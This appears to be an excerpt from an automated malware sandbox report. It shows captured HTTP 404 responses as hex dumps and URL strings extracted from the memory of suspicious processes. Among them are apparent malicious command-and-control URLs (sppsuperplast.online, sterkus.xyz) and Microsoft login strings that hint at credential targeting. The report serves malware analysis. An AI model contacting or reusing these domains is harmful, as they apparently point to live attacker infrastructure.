            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 15:23:43 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 15:24:18 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 15:24:21 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 15:24:23 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
            Source: explorer.exe, 0000000C.00000002.3187756632.0000000008A80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
            Source: explorer.exe, 0000000C.00000002.3187756632.0000000008A80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
            Source: explorer.exe, 0000000C.00000002.3187756632.0000000008A80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
            Source: explorer.exe, 0000000C.00000002.3187756632.0000000008A80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
            Source: replace.exe, 00000004.00000002.2381999240.0000000004088000.00000004.10000000.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000002.3183531951.00000000038E8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq
            Source: ZndDLeJFrzJRB.exe, 00000006.00000002.3185707565.0000000005667000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.sterkus.xyz
            Source: ZndDLeJFrzJRB.exe, 00000006.00000002.3185707565.0000000005667000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.sterkus.xyz/ha8h/
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppEM
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS8
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS=
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOSer
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/0i6Ml
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/Tj
            Source: explorer.exe, 0000000C.00000002.3187756632.0000000008AF1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
            Source: explorer.exe, 0000000C.00000002.3190001844.000000000BD70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=A1668CA4549A443399161CE8D2237D12&timeOut=5000&oc
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
            Source: explorer.exe, 0000000C.00000002.3187756632.00000000088F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?i
            Source: explorer.exe, 0000000C.00000002.3187756632.0000000008A80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
            Source: explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
            Source: explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
            Source: explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb-dark
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-dark
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8-dark
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
            Source: explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1eBTmz.img
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AATs0AB.img
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1e6XdQ.img
            Source: replace.exe, 00000004.00000002.2379954988.0000000000C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: replace.exe, 00000004.00000002.2379954988.0000000000BFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: replace.exe, 00000004.00000003.1633477123.0000000007CBB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
            Source: replace.exe, 00000004.00000002.2379954988.0000000000C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: replace.exe, 00000004.00000002.2379954988.0000000000C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: replace.exe, 00000004.00000002.2379954988.0000000000C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: replace.exe, 00000004.00000002.2379954988.0000000000BFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://parade.com/61481/toriavey/where-did-hamburgers-originate
